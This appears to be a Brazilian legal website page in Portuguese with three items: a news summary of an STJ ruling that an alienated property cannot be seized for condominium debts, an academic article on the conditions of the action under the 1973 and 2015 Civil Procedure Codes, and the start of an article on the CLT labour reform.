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Imóvel alienado não pode ser penhorado em execução de débito condominial do devedor fiduciante

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A Terceira Turma do Superior Tribunal de Justiça (STJ) decidiu que o imóvel alienado fiduciariamente não pode ser penhorado em execução de despesas condominiais de responsabilidade do devedor fiduciante. Para o colegiado, embora o devedor responda com seu patrimônio nesses casos, isso não se aplica à hipótese de imóvel em alienação fiduciária, pois ele integra o patrimônio de terceiro.

Na origem do caso, um condomínio residencial ajuizou execução para receber cotas condominiais em atraso. O devedor opôs embargos à execução, alegando a impossibilidade da penhora do apartamento, por ele estar alienado fiduciariamente a um banco.

Apesar de o juízo ter declarado a impenhorabilidade do imóvel, o Tribunal de Justiça do Rio Grande do Sul (TJRS) decidiu pela penhora, em razão da natureza propter rem do débito condominial e com fundamento no artigo 1.345 do Código Civil (CC), segundo o qual o adquirente responde pelas dívidas do alienante em relação ao condomínio.

No recurso especial, o executado sustentou que não seria possível a penhora do imóvel alienado, mas apenas dos direitos aquisitivos derivados da alienação fiduciária em garantia.

Exceção legal à natureza propter rem da obrigação condominial

A relatora, ministra Nancy Andrighi, afirmou que “a classificação de uma obrigação como propter rem depende de como ela está regulamentada pelo ordenamento jurídico” e, “quanto aos débitos condominiais, o caráter da ambulatoriedade é extraído do artigo 1.345 do CC”.

Entretanto, “assim como o caráter ambulatório (propter rem) de determinada obrigação existe por força da lei, nada impede que o legislador atribua essa característica como regra geral, mas a excepcione em hipóteses específicas”, ressaltou a ministra.

Segundo a relatora, apesar de o artigo 1.345 do CC atribuir, como regra geral, o caráter propter rem ao débito condominial, há exceção para a hipótese de imóvel alienado fiduciariamente, prevista nos artigos 27, parágrafo 8º, da Lei 9.514/1997 e 1.368-B, parágrafo único, do CC, que atribuem a responsabilidade pelo pagamento das despesas condominiais ao devedor fiduciante, enquanto estiver na posse direta do imóvel.

Penhora deve recair sobre patrimônio do responsável pelo débito condominial

“No direito brasileiro, afirmar que determinado sujeito tem a responsabilidade pelo pagamento de um débito significa dizer, no âmbito processual, que o seu patrimônio pode ser usado para satisfazer o direito substancial do credor, na forma do artigo 789 do Código de Processo Civil (CPC)“, disse Nancy Andrighi.

De acordo com a ministra, por ser o devedor fiduciante responsável pelas despesas condominiais enquanto estiver na posse direta do apartamento, seu patrimônio deve ser usado para a quitação dos débitos – o que não inclui o imóvel alienado, já que este integra o patrimônio do credor fiduciário.

Por outro lado, a relatora ressalvou que, embora não seja possível a penhora do imóvel alienado, é admitida a penhora do direito real de aquisição derivado da alienação fiduciária, nos termos do artigo 1.368-B do CC e do artigo 835, inciso XII, do CPC.  – REsp 2.036.289.

FONTE:  STJ,  03 de agosto de 2023.

As condições da ação no Código de Processo Civil

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RESUMO

O presente artigo tem por objetivo expor a respeito das condições da ação previstas no CPC/73 trazendo o conceito do direito de ação; as principais teorias do direito de ação previstas na doutrina; quais são as condições da ação elencadas, bem como verificar se com a entrada em vigor do CPC/2015 as condições da ação permanecem no novo ordenamento jurídico.

ABSTRACT

The purpose of this article is to explain the conditions of the action foreseen in the CPC/73, bringing the concept of the right action; the main theories of the right of action foreseen in the doctrine; what are the conditions of the action listed, as well as verify that with the entry into force of CPC/15 the conditions of the action remain in the new legal order.

Metodologia: pesquisa bibliográfica, doutrinas, artigos jurídicos, legislação brasileira, julgados.

Sumário: I) Introdução – Conceito do Direito de Ação; II) Teorias da Ação; III) Condições da ação no Código de Processo Civil de 73: Legitimidade – Interesse Processual e Possibilidade Jurídica do Pedido; IV) Condições da ação no CPC/2015 V) Conclusão

I – INTRODUÇÃO – CONCEITO DO DIREITO DE AÇÃO

     O Estado, salvo exceções previstas em lei – como exemplo, o esbulho possessório previsto no artigo 1210, § 1º, do Código Civil – proíbe a autotutela, pois invoca para si a solução dos litígios existentes entre as partes envolvidas. As partes têm a oportunidade de resolver suas questões sem a intervenção estatal, se desejarem, porém, diante da impossibilidade poderão se socorrer do Poder Judiciário como uma das formas de resolução. Vale lembrar, que a justiça é inerte e somente agirá após provocação do interessado, conforme preceitua o artigo 2º do CPC/15 que diz: O processo começa por iniciativa da parte e se desenvolve por impulso oficial, salvo as exceções previstas em lei.[1]

Então, uma vez que o litígio não foi solucionado amigavelmente entre as partes pela autocomposição como a conciliação, mediação, arbitragem no qual são incentivados pelo Novo Código de Processo Civil de 2015, poderão se valer do direito de ação.

     Ainda, no artigo 5º, inciso XXXIV, letra a, da CRFB/88 dispõe que: A lei não excluirá da apreciação do Poder Judiciário lesão ou ameaça a direito, bem como, no artigo 3º, do CPC/15 ratificou essa garantia constitucional.

     “O acesso à justiça pode, portanto, ser encarado como o requisito fundamental – o mais básico dos direitos humanos – de um sistema jurídico moderno e igualitário que pretenda garantir, e não apenas proclamar os direitos de todos. ”[1]

     Importante, consignar, o conceito do direito de ação. Segundo o professor Vicente Grego Filho[2] “O direito de ação é o direito subjetivo público de pleitear ao Poder Judiciário uma decisão sobre uma pretensão. ”

     Para a professora Ada Pelegrini Grinover[3] “Ação, portanto, é o direito ao exercício da atividade jurisdicional (ou o poder de exigir esse exercício). Mediante o exercício da ação provoca-se a jurisdição, que por sua vez se exerce através daquele complexo de atos que é o processo. ”

     Para finalizar o conceito da ação com o professor Humberto Theodoro Jr[4] “Daí por que, modernamente, prevalece a conceituação da ação como um direito público subjetivo exercitável pela parte para exigir do Estado a obrigação da prestação jurisdicional, pouco importando seja esta de amparo ou desamparo à pretensão de quem o exerce. É por isso abstrato. E, ainda, é autônomo, porque pode ser exercitado sem sequer relacionar-se com a existência de um direito subjetivo material, em casos como o da ação declaratória negativa. É finalmente, instrumental, porque se refere sempre a decisão a uma pretensão ligada a direito material (positiva ou negativa). Em suma: a autonomia do direito de ação consiste em ser ele outro direito, distinto do direito material disputado entre os litigantes; e sua abstração se dá pelo fato de poder existir independente da própria existência do direito material controvertido.”

II – TEORIAS DA AÇÃO

     Várias teorias foram formuladas acerca da natureza da ação, entretanto, vamos elencar neste tópico as principais teorias registradas pela doutrina: Teoria Civilista ou Clássica ou Imanentista; Teoria da Ação como direito autônomo que se divide em: Teoria do Direito Concreto à Tutela Jurídica e Teoria do Direito Abstrato de Agir; Teoria Eclética; Teoria da Asserção.

     1) A Teoria Civilista ou Teoria Clássica ou Teoria Imanentista defendia que o direito de ação e o direito material estavam intimamente ligados, ou seja, o direito de ação era visto como o próprio direito material depois de violado.

     Como afirmou o ilustre professor Moacyr Amaral dos Santos: “O que caracteriza essa teoria, não obstante as variantes imprimidas por seus adeptos, é que se prende indissoluvelmente ao direito que por ela se tutela. Direito ou qualidade deste, direito em movimento como consequência de sua violação, como diz Savigny, direito em seu exercício, no dizer de Vinnius, direito em pé de guerra, reagindo contra sua ameaça ou violação, segundo Unger, direito elevado à segunda potência, conforme Mattirolo, uma posição do direito, como disse Filomusi Guelfi, propriedade, virtude, qualidade, elemento, função, anexo do direito, a ação não é outra coisa senão o próprio direito subjetivo material. Daí três consequências inevitáveis: não há ação sem direito; não há direito sem ação; a ação segue a natureza do direito. ” [5]

     Posteriormente, na Alemanha foi instaurada a polêmica entre Windscheid e Muther que diferenciou o direito de ação com o direito material se contrapondo a teoria clássica.

     Adolpho Whach, na Alemanha, em 1885, defendeu o direito de ação como direito autônomo do direito civil surgindo a Teoria do direito concreto à tutela jurídica: “segundo Whach, a ação, direito autônomo com base no direito subjetivo material ou num interesse, se dirige contra o Estado e contra o adversário, visando à tutela jurisdicional. Direito subjetivo público contra o Estado, como obrigado à prestação da tutela jurisdicional. Entretanto, a tutela jurisdicional deverá conter-se numa sentença favorável, o que quer dizer que o direito de ação depende da concorrência de requisitos e direito material, as chamadas condições da ação, e de direito formal, os chamados pressupostos processuais, sem os quais não se concebe uma tal sentença e não haverá ação. ”[6]

     Chiovenda, seguidor de Watch, filiado a teoria concreta, defende a ação como um direito potestativo autônomo, com algumas divergências “…para o mestre italiano, a ação não se dirige contra o Estado, mas contra o adversário: é o direito de provocar a atividade jurisdicional contra o adversário, ou mais precisamente, em relação ao adversário. ”  [7]

     Como bem registra o professor Vicente Greco em seus ensinamentos: “ Chiovenda demostrou, em seu trabalho sobre a declaração negativa, que alguém poderia pleitear ao Judiciário a declaração de que não existe uma relação jurídica de direito material entre os dois sujeitos, de modo que o direito de pleitear (direito de ação) é autônomo e independente do direito material ou relação jurídica material eventualmente existente entre as partes. ”[8]

     Daniel Neves[9] esclarece que: “Apesar do avanço quando comparada com a teoria imanentista, a teoria concreta defende que o direito de ação só existe se o direito material existir, condicionando a existência do primeiro à existência do segundo. Reconhece-se a autonomia do direito de ação, mas não a sua independência, considerando que o direito de ação dependeria do direito material.”

     Já a Teoria do Direito Abstrato de Agir iniciou com Degenkolb na Alemanha, bem como na Hungria com Plósz no qual “Segundo esta linha de pensamento, o direito de ação independe da existência efetiva do direito material invocado: não deixa de haver ação quando uma sentença justa nega a pretensão do autor, ou quando uma sentença injusta a acolhe sem que exista na realidade o direito subjetivo material. A demanda ajuizada pode ser até mesmo temerária, sendo suficiente, para caracterizar o direito de ação, que o autor mencione um interesse seu, protegido em abstrato pelo direito. É com referência a esse direito que o Estado está obrigado a exercer a função jurisdicional, proferindo uma decisão, que tanto poderá ser favorável como desfavorável. Sendo a ação dirigida ao Estado, é este o sujeito passivo de tal direito.” [10]

     A Teoria Eclética tem como precursor Enrico Tulio Liebman e foi adotada pelo CPC/1973 que preceitua “a existência do direito de ação não depende da existência do direito material, mas do preenchimento de certos requisitos formais chamados de “condições da ação”. Para esta teoria, as condições da ação não se confundem com o mérito, ainda que sejam aferidas à luz da relação jurídica de direito material discutida no processo, sendo analisadas preliminarmente e, quando ausentes, geram uma sentença terminativa de carência de ação (art. 267, VI, do CPC) sem a formação de coisa julgada material. Estando presentes no caso concreto, o juiz profere sentença de mérito, que tanto poderá acolher como rejeitar o pedido do autor. Tratando-se de matéria de ordem pública não há preclusão, entendendo os defensores da teoria eclética que a qualquer momento do processo e com qualquer grau de cognição o juiz deve extinguir o processo sem resolução de mérito por carência de ação se entender ausente uma das condições da ação.”[11]

     Por derradeiro na Teoria da Asserção ou Teoria Della Prospettazione as condições da ação são aferidas in statu assertionis, ou seja, com a afirmação do autor em sua petição inicial apresentada.

     Vale registrar que “…caso o juiz precise no caso concreto de uma cognição mais aprofundada para então decidir sobre a presença ou não das condições da ação, não mais haverá tais condições da ação, que passarão a ser entendidas como matérias de mérito. Dessa forma, aprofundada a cognição, a ausência daquilo que no início do processo poderia ter sido considerado uma condição da ação passa a ser matéria de mérito, gerando uma sentença de rejeição do pedido do autor (art. 269, I, do CPC), com a geração de coisa julgada material” [12]

     Na jurisprudência há vários julgados com referência a Teoria da Asserção, inclusive o Superior Tribunal de Justiça tem aplicado esta teoria[13].

PROCESSO CIVIL E ADMINISTRATIVO – AÇÃO CIVIL PÚBLICA – LEGITIMIDADE DO MINISTÉRIO PÚBLICO – LEIS N. 8.625/93 E N. 7.347/83 – DANO AMBIENTAL – CERAMISTAS – EXTRAÇÃO DE BARRO – ALVARÁ – LICENCIAMENTO – PROJETO DE RECUPERAÇÃO HOMOLOGADO NO IBAMA – INTERESSE DO MP NO PROSSEGUIMENTO DA AÇÃO CIVIL PÚBLICA QUE DISCUTE DANO AMBIENTAL E SUA EXTENSÃO – POSSIBILIDADE. 1 – É o Ministério Público parte legítima para propor ação civil pública na defesa do patrimônio público, aí entendido os patrimônios histórico, paisagístico, cultural, urbanístico, ambiental etc., conceito amplo de interesse social que legitima a atuação do parquet. 2 – A referida legitimidade do Ministério Público para ajuizar tais ações é prevista in satus assertionis, ou seja, conforme a narrativa feita pelo demandante na inicial (teoria da asserção). 3 – Ainda que exista acordo realizado no âmbito administrativo (IBAMA) com as empresas demandadas, resta o interesse de agir do Ministério Público na busca da comprovação da exata extensão dos danos e na reparação. Instâncias administrativa e judicial que não se confundem, de modo a não gerar obstáculo algum para o exercício da jurisdição. 4 – Não viola o art. 535 do CPC, acórdão que adota fundamentação suficiente para dirimir a controvérsia, ainda que conclua contrariamente ao interesse do recorrente. Recurso especial provido em parte, para reconhecer a legitimidade do Ministério Público do Estado de Minas Gerais e o interesse de agir na ação civil pública. Determino a devolução dos autos ao Tribunal de Justiça do Estado de Minas Gerais para que prossiga no julgamento, enfrentando o mérito da questão como entender de direito. (REsp 265.300/MG, Rel. Min. Humberto Martins, DJ 2.10.2006) grifo nosso

Segue, outrossim, decisão do TJRJ:

APELAÇÃO CÍVEL. AÇÃO DE OBRIGAÇÃO DE FAZER. PLANO DE SAÚDE. PLANO DE SAÚDE COLETIVO EMPRESARIAL. RESCISÃO UNILATERAL DE CONTRATO. DIREITO A MIGRAÇÃO PARA PLANO INDIVIDUAL. MANUTENÇÃO DAS MESMAS CONDIÇÕES. CABIMENTO. 1. Preliminar de ilegitimidade ativa e passiva que deve ser rejeitada diante da aplicação da teoria asserção. Ademais, a autora detém legitimidade, já que a sua esfera jurídica está sendo atingida por ato praticado pelas partes. Legitimidade passiva da segunda apelante, considerando que a mesma integra o mesmo conglomerado (UNIMED). 2. No mérito, cinge-se a controvérsia em analisar se a conduta da ré, que cancelou unilateralmente o plano de saúde coletivo, configura falha na prestação do serviço. 3. Em que pese ser autorizada a rescisão unilateral, a Resolução nº 19 de 25/03/1999 do CONSU, em seu art. 17 preceitua que as operadoras de planos ou seguros de assistência à saúde, que administram ou operam planos coletivos empresariais ou por adesão deverão disponibilizar plano ou seguro de assistência à saúde na modalidade individual ou familiar ao universo de beneficiários, no caso de cancelamento desse benefício, sem necessidade de cumprimento de novos prazos de carência. 4. A não disponibilização da opção de migrar para plano individual ao beneficiário de plano de saúde coletivo no caso de cancelamento configura falha na prestação do serviço. 5. Em que pese ter sido realizada a notificação, a mesma não observou o prazo de 60 dias, evidenciando-se, portanto, a falha no dever de informação. 6. Dano moral manifesto. Condenação em R$ 8.000,00 que não se mostra excessiva. Valor que não se configura como excessivo e incapaz de gerar enriquecimento sem causa do apelado. Precedentes desta Câmara, que demonstram que o dano moral foi fixado de forma parcimoniosa. 7. REsp invocado, não é precedente vinculante, o que afasta a aplicação do artigo 927 do CPC. 8. Manutenção da sentença que se impõe. Recursos conhecidos e improvidos, nos termos do voto do Desembargador Relator. (TJRJ. Acórdão. Processo nº 0016512-50.2019.8.19.0208; Relator (a): Cherubin Helcias Schwartz Júnior. Data do julgamento: 09/03/2021. Data de publicação: 11/03/2021) fonte: site AASP – jurisprudência. Grifo nosso

III) CONDIÇÕES DA AÇÃO NO CÓDIGO DE PROCESSO CIVIL DE 73: LEGITIMIDADE – INTERESSE PROCESSUAL E POSSIBILIDADE JURÍDICA DO PEDIDO

            Como foi exposto anteriormente o Código de Processo Civil de 73 adotou a Teoria Eclética proposta por Liebman no qual defendia que para o exercício do direito de ação era necessário o preenchimento de três condições: legitimidade, interesse processual e possibilidade jurídica do pedido.

     A legitimidade diz respeito as partes (legitimidade ativa e passiva) sendo dividida em legitimidade ordinária e legitimidade extraordinária.

     Legitimidade ordinária é a regra. Ocorre quando o próprio titular do direito propõe a ação em juízo, conforme disciplina o artigo 6º do CPC/73: “Ninguém poderá pleitear, em nome próprio direito alheio, salvo quando autorizado por lei. Vários são os exemplos mencionados na doutrina, aliás os do Professor Vicente Greco[14]: “…Assim, quem pode propor a ação de cobrança de um crédito é o credor, quem pode propor a ação do despejo é o locador, quem pode pleitear a reparação do dano é aquele que o sofreu.”  “…o réu da ação de cobrança deve ser o devedor; da ação de despejo, o locatário; da ação de reparação de dano, o seu causador.”   (grifo nosso)

     Entretanto, a legitimidade extraordinária ocorre, excepcionalmente, nos casos expressamente autorizados. Vale mencionar, dentre outros, o artigo 5º, inciso XXI da CRFB/88, que autoriza a legitimidade extraordinária da associação: “as entidades associativas, quando expressamente autorizadas, têm legitimidade para representar seus filiados judicial e extrajudicialmente”. Nas palavras do Ilustre professor Nelson Nery[15] “Embora o texto constitucional fale em representação, a hipótese é de legitimação das associações para a tutela de direitos individuais de seus associados, configurando verdadeira substituição processual.”

     Ainda, no artigo 3º do CPC/73 determina “Para propor ou contestar ação é necessário ter interesse e legitimidade”. A doutrina informa que quando o código prevê que para o réu contestar há necessidade de ter legitimidade gera um equívoco. Excelente posição do professor Costa Machado[16] “O direito de defesa, que se expressa precipuamente pelo direito de oferecer contestação (art.297), não se subordina a nenhuma das condições da ação, mas apenas à circunstância de o réu ter sido citado (art. 213).”

     Prosseguindo com o artigo 3º do CPC/73 que prevê além da legitimidade, o interesse processual como mais uma condição da ação. O interesse é analisado na doutrina pelo binômio da necessidade e adequação. De uma maneira simples B devedor de uma quantia em dinheiro para A no qual não paga no prazo estipulado, recebe de A uma notificação extrajudicial para que resolvam essa questão amigavelmente, sob pena de ingressar em juízo e ser aplicada todas as consequências ao devedor diante dos prejuízos causados ao credor, como os juros, custas e despesas processuais, honorários de sucumbência. Diante disso, B efetua o pagamento integral conforme proposto pelo credor. Então, neste caso as partes chegaram em um consenso e resolveram de alguma forma o litígio perdendo-se o interesse processual pelo binômio da necessidade. Ademais, se B não efetuasse o pagamento integral da dívida e A fosse portador de um título executivo não poderia propor um mandado de segurança e sim com uma ação de execução, tendo em vista ser o meio adequado pelo binômio do interesse processual.

     Por fim, a última condição da ação é a possibilidade jurídica do pedido em que o pedido não pode ser proibido pelo ordenamento jurídico. Alguns exemplos mais citados pelos doutrinadores: cobrar dívida de jogo previsto no artigo 814 do Código Civil de 2002; o pedido do divórcio era juridicamente impossível até a Emenda Constitucional 9/77 e a Lei 6515/77; bem como a proibição de investigação de paternidade de filho adulterino na constância do casamento do genitor. [17]

     Contudo, Liebman  revisou suas ideias a respeito das condições da ação como nos esclarece o professor Vicente Greco [18] “ Aliás, Liebman, na última edição do Manuale di diritto processuale civile, não mais enumera a possibilidade jurídica do pedido como condição da ação, ampliando, pois o conceito de interesse processual, especialmente na forma de interesse adequação, considerando como de falta de interesse aquelas hipóteses em que a outra parte da doutrina classifica como de falta de possibilidade jurídica do pedido.”

     Portanto, faltando um dos requisitos da ação ocorre a extinção do processo sem julgamento do mérito, tendo em vista que o litígio não foi solucionado pelo poder judiciário e poderá novamente ser proposta a ação após o preenchimento dos requisitos que ensejaram a sua extinção.

  1. IV) CONDIÇÕES DA AÇÃO NO CPC/2015

     A possibilidade jurídica do pedido deixou de ser considerada como uma das condições da ação no CPC/15, tendo em vista que era prevista expressamente no artigo 267, VI, CPC/73[19], in verbis, extingue-se o processo, sem resolução do mérito quando não concorrer qualquer das condições da ação, como a possibilidade jurídica do pedido, a legitimidade das partes e o interesse processual, bem como pelo artigo 295, § único, inciso III, CPC/73 que preconizava: considera-se inepta a petição inicial quando: o pedido for juridicamente impossível, no qual nos artigos correspondentes 485, inciso VI e artigo 330 do CPC/15, respectivamente, no qual a previsão expressa não foi reiterada no novo ordenamento.

     Pelo atual Código de Processo Civil a possibilidade jurídica do pedido passou a ser parte da análise de mérito, pois uma vez configurada haverá a extinção do processo com julgamento do mérito diferentemente de como ocorria no CPC/73.

     Para não restar dúvidas na Exposição de Motivos do CPC/15[20] diz:  “Com o objetivo de se dar maior rendimento a cada processo, individualmente considerado, e, atendendo a críticas tradicionais da doutrina, deixou, a possibilidade jurídica do pedido, de ser condição da ação. A sentença que, à luz da lei revogada seria de carência da ação, à luz do novo Código de Processo Civil é de improcedência e resolve definitivamente a controvérsia. ”

     Com destaque o julgado pela 3ª Turma do Superior Tribunal de Justiça no Recurso Especial nº 1.757.123-SP, como relatora a Ministra Nancy Andrighi[21]: EMENTA

CIVIL. PROCESSUAL CIVIL. AÇÃO DE EXIGIR CONTAS. DECISÃO INTERLOCUTÓRIA DE MÉRITO. NECESSIDADE DE EXAME DOS ELEMENTOS

QUE COMPÕEM O PEDIDO E DA POSSIBILIDADE DE DECOMPOSIÇÃO DO PEDIDO. ASPECTOS DE MÉRITO DO PROCESSO. ALEGAÇÃO DE IMPOSSIBILIDADE JURÍDICA DO PEDIDO. CONDIÇÃO DA AÇÃO AO TEMPO DO CPC/73. SUPERAÇÃO LEGAL. ASPECTO DO MÉRITO APÓS O CPC/15. RECORRIBILIDADE IMEDIATA DA DECISÃO INTERLOCUTÓRIA QUE AFASTA AALEGAÇÃO DE IMPOSSIBILIDADE JURÍDICA DO PEDIDO. ADMISSIBILIDADE. ART. 1.015, II, CPC/15.

     Entretanto, o professor Daniel Amorim[22] observa que: “Por outro lado, nas hipóteses em que a impossibilidade jurídica não deriva do pedido, mas das partes ou da causa de pedir, entendo mais adequado que, mesmo diante da aprovação do dispositivo ora comentado, o juiz continue a extinguir o processo sem a resolução de mérito, agora com fundamento na ausência de interesse de agir, em sua modalidade adequação. Numa cobrança de dívida de jogo, por exemplo, não parece correto o julgamento de improcedência, o que significaria que o direito de crédito alegado pelo autor não existe, o que não condiz com a realidade. Afinal, a vedação no sistema jurídico para a cobrança judicial dessa espécie de dívida não quer dizer que ela não exista. ”

     Com a entrada em vigor do CPC/15 doutrinadores divergem se a legitimidade e interesse processual permanecem previstas como condições de ação ou não, pois apesar de constá-las em alguns artigos o termo condições da ação foi retirado da nova lei processual.

     O professor Fredie Didier defende que no novo CPC a legitimidade e interesse processual integra os pressupostos processuais. Assim, para ele[23]: “A legitimidade e o interesse passarão, então, a constar da exposição sistemática dos pressupostos processuais de validade: o interesse, como pressuposto de validade objetivo intrínseco; a legitimidade, como pressuposto de validade subjetivo relativo às partes. ”

     Contudo, a corrente majoritária como Alexandre Câmara[24] alega que permanecem as condições da ação no CPC/15: “A doutrina brasileira – e isto sequer precisa ser demonstrado, dada a notoriedade do ponto – sempre tratou a ação como um dos institutos fundamentais do direito processual, autônomo e distinto do processo. Consequência disso é a necessidade de distinguirem-se as “condições da ação”, que a esta (e a seu exercício) dizem respeito e os pressupostos processuais, requisitos de existência e validade do processo (e só deste).”

     Outrossim para justificar que a legitimidade e interesse permanecem como condições da ação a fundamentação pela doutrina se dá na previsão do artigo 17, CPC/15: “Para postular em juízo é necessário ter interesse e legitimidade” que corresponde ao artigo 3º do CPC/73, bem como pelo artigo 485, inciso VI, CPC/15 no qual “o juiz não resolverá o mérito quando verificar a ausência de legitimidade ou interesse processual.”

     Explana o professor Rennan Thamay[25] para fundamentar a permanência das condições da ação – legitimidade e interesse processual: “Isso deriva da observação sistêmica do CPC/2015, visto que, segundo o art. 485, o juiz não resolverá o mérito quando: a) verificar a ausência de pressupostos de constituição e de desenvolvimento válido e regular do processo (inciso IV); b) verificar ausência de legitimidade ou de interesse processual (inciso VI). Merece destaque o fato de que os pressupostos processuais estão tratados no inciso IV enquanto, de outro lado, as condições da ação estão trabalhadas no inciso VI. Fica evidente, assim, que se trata de temas, institutos e instrumentos diversos que, com destaque próprio, são tratados de forma estruturalmente pontual, pois os pressupostos estão para o processo assim como as condições da ação (legitimidade e interesse) estão para a ação. São, realmente, instrumentos prévios de controle do direito de ação e do processo. ”

     Por fim, o artigo 18, CPC/15 que tem por correspondência o artigo 3º CPC/73 não sofreu alterações, salvo a inclusão do § único que dispõe, in verbis, havendo substituição processual, o substituído poderá intervir como assistente litisconsorcial.

  1. V) CONCLUSÃO

     Diante de todo o exposto não há dúvidas entre os doutrinadores e jurisprudência que a possibilidade jurídica do pedido não é mais prevista como condição da ação no CPC/15, com razão, tendo em vista que seu precursor Enrico Tulio Liebman deixou de inclui-la como condição da ação mesmo antes da entrada em vigor do CPC/73, então, neste sentido, a nova lei processual atualizou entendimento que há tempo estava consagrado.

     Contudo, prevalece na doutrina que a legitimidade e o interesse processual permanecem como condições da ação pelo CPC/15 por todos os fundamentos anteriormente mencionados.

     Já em relação a Teoria da Ação majoritariamente prevalece que permanece a Teoria Eclética no CPC/15, apesar da aplicação da Teoria da Asserção em várias decisões judiciais.

     Então, somente com o decurso do tempo, conforme estudo doutrinário e jurisprudencial as dúvidas e divergências poderão ser dirimidas.

REFERÊNCIAS BIBLIOGRÁFICAS

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Barroso, Carlos Eduardo Ferraz de Mattos, Teoria Geral do Processo e Processo de Conhecimento, vol. 11, ed. Saraiva, 2005, 5ª ed.

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Cappelletti, Mauro e outro, Acesso à Justiça, Tradução Ellen Gracie Northleet, 1988, Ed. Pallotti, pág. 12

Didier, Fredie Jr, As condições da ação e o projeto de Novo CPC, disponível no site:  frediedidier.com.br/artigos/condiçoesdaacao

Greco, Vicente filho, Direito Processual Civil Brasileiro, 1º vol., 14ª ed., 1999, Saraiva

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Machado, Antônio Cláudio da Costa, Código de Processo Civil Interpretado, 12ª ed., 2013, Manole

Nery, Nelson Junior e outro, Código de Processo Civil Comentado, 3ª ed., 1997, Revista dos Tribunais

Neves, Daniel Amorim Assumpção, Manual de Direito Processual Civil, volume único, 5ª ed., 2013, Método

Neves, Daniel Amorim Assumpção, Novo CPC Código de Processo Civil, 2015, ed. Método

Roque, André e outros, Novo CPC Anotado e Comparado, ed. Foco, 2015

Santos, Moacyr Amaral, Primeiras Linhas de Direito Processual Civil, 1º vol., 19ª ed., 1997, Saraiva

Thamay, Rennan Faria Krüger, Condições da Ação no Novo CPC, disponível no site: cidp.pt/revistas/rjlb/2016

Theodoro, Humberto Junior, Curso de Direito Processual Civil, vol. 1, 52ª ed., 2011, Forense

MINI CURRÍCULO:

Graduação em Direito pela Universidade de Mogi das Cruzes – janeiro 2000.

Pós graduanda em Direito Médico e da Saúde – Legale.

Advogada inscrita na OAB/SP desde abril 2000 – Atuação em Família e Sucessões – Judicial e Extrajudicial – Cível – Consultoria Jurídica.

Membra da Associação dos Advogados de São Paulo – AASP – desde 2001.

Advogada habilitada na feitura e consultoria em Diretivas Antecipadas de Vontade – Testamento Vital.

Advogada inscrita no Convênio da Defensoria Pública – OAB/SP – Plantonista – Juizado Especial Cível e Criminal

Conciliadora e Mediadora Judicial no Cejusc.

E-mail:adrianamarucho@aasp.org.br

[1] Cappelletti, Mauro e outro, Acesso à Justiça, Tradução Ellen Gracie Northleet, 1988, Ed. Pallotti, pág. 12

[2] Greco, Vicente filho, Direito Processual Civil Brasileiro, 1º vol., 14ª ed., 1999, Saraiva, pág.75

[3] Grinover, Ada Pellegrini e outros, Teoria Geral do Processo, 13ª ed., 1997, Malheiros, pág.249

[4] Theodoro, Humberto Junior, Curso de Direito Processual Civil, vol. 1, 52ª ed., 2011, Forense, pág. 69/70

[5] Santos, Moacyr Amaral, Primeiras Linhas de Direito Processual Civil, 1º vol., ed. Saraiva, 1997, 19º edição, pág.148

[6] Ibidem, pág. 149

[7] Santos, Moacyr Amaral, Primeiras Linhas de Direito Processual Civil, 1º vol., ed. Saraiva, 1997, 19º edição, pág. 149

[8] Greco, Vicente Filho, Direito Processual Civil, 1º volume, ed. Saraiva, 1999, 14º ed., pág. 75

[9] Neves, Daniel Amorim Assumpção, Manual de Direito Processual Civil, volume único, ed. Método, 2013, 5ª edição, pág. 88

[10] Grinover, Ada Pelegrini e outros, ed. Malheiros, 1997, 13º ed., pág.252

[11] Neves, Daniel Amorim Assumpção, Manual de Direito Processual Civil, volume único, ed. Método, 2013, 5ª edição, pág. 90.  Obs.: Art. 485, VI, CPC/15 correspondente ao art. 267, VI, CPC/73 – Roque, André e outros, Novo CPC Anotado e Comparado, ed. Foco, 2015, pág. 84

[12] Neves, Daniel Amorim Assumpção, Manual de Direito Processual Civil, volume único, ed. Método, 2013, 5ª edição, pág. 92. Obs.: Art. 487, I, CPC/15 correspondente ao art. 269, I, CPC/73 – – Roque, André e outros, Novo CPC Anotado e Comparado, ed. Foco, 2015, pág. 85

[13] Ag.Reg no Recurso Especial nº 439.515 – DF, relator Ministro Humberto Martins – disponível: juris.aasp.org.br/jurisprudencia

[14] Greco, Vicente Filho, Direito Processual Civil, 1º volume, ed. Saraiva, 1999, 14º ed., pág. 77

[15] Nery, Nelson Junior e Nery, Rosa Maria Andrade, Código de Processo Civil Comentado, ed. Revista dos Tribunais, 1997, 3ª ed., pág. 75

[16] Machado, Antônio Cláudio da Costa, Código de Processo Civil Interpretado, ed. Manole, 2013, 12ª ed., pág. 5 – Obs.: art. 335, CPC/15 correspondente ao art. 297, CPC/73 e art. 238, CPC/15 correspondente ao art. 213, CPC/73– Roque, André e outros, Novo CPC Anotado e Comparado, ed. Foco, 2015, pág. 234 e pág. 221, respectivamente

[17] Barroso, Carlos Eduardo Ferraz de Mattos, Teoria Geral do Processo e Processo de Conhecimento, vol. 11, ed. Saraiva, 2005, 5ª ed., pág. 32

[18] Greco, Vicente Filho, Direito Processual Civil, 1º volume, ed. Saraiva, 1999, 14º ed., pág. 87

[19] Roque, André e outros, Novo CPC Anotado e Comparado, ed. Foco, 2015, pág. 229 e 234

[20] Angher, Anne Joyce, Vademecum, ed. Rideel, 2019, 28 ª ed., pág. 255

[21] Site: cível.mppr.mp.br, acesso em 02/02/2020 às 11:05

[22] Neves, Daniel Amorim Assumpção, Novo CPC Código de Processo Civil, ed. Método, 2015, pág. 50

[23] Didier, Fredie Jr, As condições da ação e o projeto de Novo CPC, disponível no site:  frediedidier.com.br/artigos/condiçoesdaacao,

[24] Câmara, Alexandre Freitas, Será o fim da categoria “Condição da Ação”? Uma resposta a Fredie Didier Junior, disponível no site leonardodacunha.com.br – acesso em 02/02/2020, às 23:40

[25] Thamay, Rennan Faria Krüger, Condições da Ação no Novo CPC, disponível no site: cidp.pt/revistas/rjlb/2016

[1] Angher, Anne Joyce, Vademecum, ed. Rideel, 28ª edição, 2019

A octogenária Consolidação das Leis do Trabalho (CLT)

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Resumo: A vetusta CLT mantém-se devidamente atualizada e, alguns pontos da Reforma Trabalhista de 2017 ainda estão sendo questionados no STF, sendo de improvável constitucionalidade. À guisa de modernização deu-se a redução de direitos trabalhistas e a majoração da desigualdade social e econômica no país. 

Palavras-chave: Direito do Trabalho. CLT. Reforma Trabalhista. Direitos trabalhistas. Flexibilização.

 

